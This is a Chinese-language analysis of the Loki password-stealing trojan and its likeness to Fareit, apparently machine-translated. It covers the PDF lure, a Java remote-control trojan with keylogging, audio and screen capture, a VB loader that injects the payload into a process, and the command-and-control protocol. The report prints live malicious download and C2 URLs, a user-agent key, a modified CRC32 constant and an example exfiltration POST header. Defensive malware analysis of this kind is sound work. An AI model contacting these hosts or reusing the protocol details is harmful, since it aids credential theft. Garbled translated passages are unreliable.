一 简介近日, loki窃密恶意软件在网上较为流行。最初获取到该家族的木马样本后,从直观上感觉该家族样本与fareit窃密木马家族在有一定的功能共性与代码相似性。相对于fareit家族来说,loki家…
一 简介
最近,loki窃取恶意软件在网上更受欢迎。在最初获得该家族的特洛伊木马样本之后,直观地感觉到该家庭样本与fareit窃贼家族具有一定的功能共性和代码相似性。与fareit系列相比,loki系列木马在代码抗锯齿方面做了一些技术改进,但它不如隐藏通信协议中的failit系列木马那么好。鉴于它与fareit家族木马的某些不同,它决定将它用作loki家族。此命名也基于在线安全对等体的命名。
Loki家族与fareit家族具有相同的最终功能。它的主要功能是窃取用户数据,包括用户的各种FTP软件,浏览器软件以及邮件软件的用户名和密码。
Loki家族与fareit家族的共同点表现为:
两者都是通过vb程序作为加载器,并且加载器代码结构类似,特别是在将有效负载数据复制到进程时,MZ头中的“M”字符被单独复制。
Payload中的窃取功能都是以功能阵列模式编程的。大多数窃取函数通过注册表方法获取用户数据,并且每个窃取函数获得的数据通过流流拼接在一起。
在代码中选择相同的验证算法和压缩算法。
两类家族的不同主要体现在:
Fareit家族的通信协议更复杂。特洛伊木马窃取用户数据后,将用不同的标识符分隔用户数据,使用aplib压缩,压缩数据进行CRC32检查,最后通过R *加密两次。第一个R *密钥在程序中被硬编码,第二个R *密钥是随机生成的。 loki家庭的通信尚未处理,但以明文形式传送。这种技术回归是我们将其用作新家庭的重要原因。
两者在反分析器中都有不同的特性,fareit通过花指令混淆代码,而loki混淆了函数调用的系统函数。两者的比较如下:
下图显示了fareit家族的花卉指令代码。
下图显示了loki系列的动态API调用。
Fareit的验证使用标准CRC32算法,而loki中的校验算法基于标准CRC32算法进行修改。
Fareit的CC地址在程序中被硬编码,loki的CC地址被加密和存储。
今天我们主要分析loki窃取特洛伊木马。
二 对loki的分析
Loki家族使用PDF作为载体进行传播。 PDF使用社交工程来诱使用户下载恶意软件。加载恶意软件后,进程将加载实际有效负载。有效负载窃取用户数据并将其发送到CC地址。
Pdf
在某些pdf软件中,整个文件是图片和下载链接。无论是点击图片还是点击下载链接,它都会下载http://194.88.105.202/~ninjagro/pdfs/QUOTATION.exe并运行它。这是因为PDF软件没有充分解析pdf。实际上,图像中嵌入了三个uzrl地址。
在win10浏览器中打开PDF时,您可以看到实际的PDF中嵌入了三个链接地址。
链接嵌入在下图中框的位置。
通过提取pdf中的对象,您可以看到它们对应的下载地址是:
PDF会诱使用户下载恶意软件并通过社交工程进行运行。
稍后我们将分别分析嵌入在pdf中的jar文件和exe文件。
Jar文件的分析:
Jar文件是一个远程控制木马,它将自己写入启动项。

反编译jar,可以看到反虚拟机检测的配置
循环检测过程的代码:
起诉CPU使用情况:
记录用户键盘操作的键盘记录器模块。
录音功能:您可以远程打开用户的麦克风进行录音并窃取录制的音频文件。

截图功能:窃取用户的屏幕操作信息。
用户屏幕的屏幕截图和按键将保存在数据目录中,屏幕截图保存在sl目录中,按键由base64加密。
截图代码:
键盘记录base64解密后:
Jar释放的文件分析
WindowsPatch.exe
它发布的WindowsPatch.exe是一个命令行木马管理器。
它实现了用户窗口的管理功能,文件系统属性的设置,用户计算机显示屏幕的控制,以及读取Chrome浏览器保存的密码的功能。
p003.exe
对于另一个p003.exe,您可以看到它与SmartAssembly混淆软件混淆,现在软件已经过了失效日期。

但是你可以从代码中看到它实现的功能是窃取chrome保存的密码。
Exe文件分析
当用户单击pdf文件中的其他链接之一时,将从http://194.88.105.202/~ninjagro/pdfs/QUOTATION.exe下载恶意样本执行。
该示例是为vb程序编写的。
该程序实际上是一个加载器,它将释放内存中的真实恶意软件,并通过该过程将执行加载到内存中。
下图显示了通过写入进程生成的PE文件。为了防止检测到安全软件,当生成的文件的PE头被写入存储器时,第一次写入的数据被写入MZ头标志中的“M”以外,第二次写入是'M'补充PE头。随后,在该过程中扩展PE部分,并通过SetThreadContext恢复该过程的执行。
写一个M以外的PE头
写'M'以完成PE头

编写代码段
将加密的CC地址复制到有效负载
在转储写入进程的数据后,将其作为后续有效负载进行分析。
Payload分析
Payload的主要功能是窃取用户的密码信息并将其发送到CC地址。
对于其主要功能点,分析如下:
收集用户信息
收集的用户信息包括:计算机名称,桌面窗口,系统信息等。
生成用户机器标识
用户ID用于唯一标识目标用户。
生成的用户ID为E1617E16F7D75B3218E38D668B82C1C0,用户ID用作互斥锁,以防止程序重复运行。这种不同的机器不同的互斥体可用于阻止分析师的情报共享。
窃取用户密码信息
窃取密码的功能是循环调用的。有65个函数调用。 65个函数调用只是要被盗的用户软件的数量。特洛伊木马软件窃取的软件密码数量远大于此数量。
通过阅读注册表可以获得许多软件用户名和密码信息。

在被盗的浏览器信息中,只有一个国内浏览器:
CC地址解密
使用Microsoft的CRYPT API解密网络地址,该API不是真正的CC地址。解密的地址是kbfvzoboss.bid/alien/fre.php,用于混淆分析师。
通过XOR FF将小密文写入有效载荷,在前一级VB中获得实际CC地址。最终的CC地址是:http://online-prodaja.rs/tz/Panel/five/fre.php
CC通信格式
发送的数据内容的格式如下:
最重要的通信协议是USER-AGENT字段和Content-key字段。我们将分析这两个领域的生成算法��
User-agent的生成
使用字符串“KOSFKF”;作为密钥,解密UA
Content-Key的生成:
使用自定义CRC32算法生成检查值,并使用检查值* 2的值作为Content-Key。

使用变形的CRC算法,将标准CRC32算法中的0xEDB88320常量替换为0xE8677835
对以下内容执行自定义CRC32操作:结果为:B18BDBEE
POST /tz/Panel/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)主机: online-prodaja.rsAccept: */* Content-Type: application/octet-streamContent-Encoding: 二进制
上述自定义检查值B18BDBEE * 2是最终的Content-Key:6317B7DC
最终构建的标题:
持久化
软件本身存在问题。在xp系统中,不添加启动项。在窗口7系统中,启动脚本在启动文件夹中生成。
三 总结
通过以上分析,我们可以看出,与迷恋软件故障家庭相比,loki家族和fareit家族的大多数功能都是相似的。两者之间的主要区别在于通信协议的处理。 loki家族的通信协议与fareit有关。这个家庭有一定的回归,这让我们相信loki家族不是故障家族的更新版本。然而,还应该看到,loki家族在CC地址的隐藏,分析师的混淆以及被盗用户信息的类型和数量方面有一定的改进。在窃取浏览器密码方面,国内浏览器厂商的出现也预示着中国网民已经成为恶意软件作者的目标。最后,提醒广大网友,做好系统补丁,不要打开陌生人发送的程序,文件等。
四 参考:
http://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file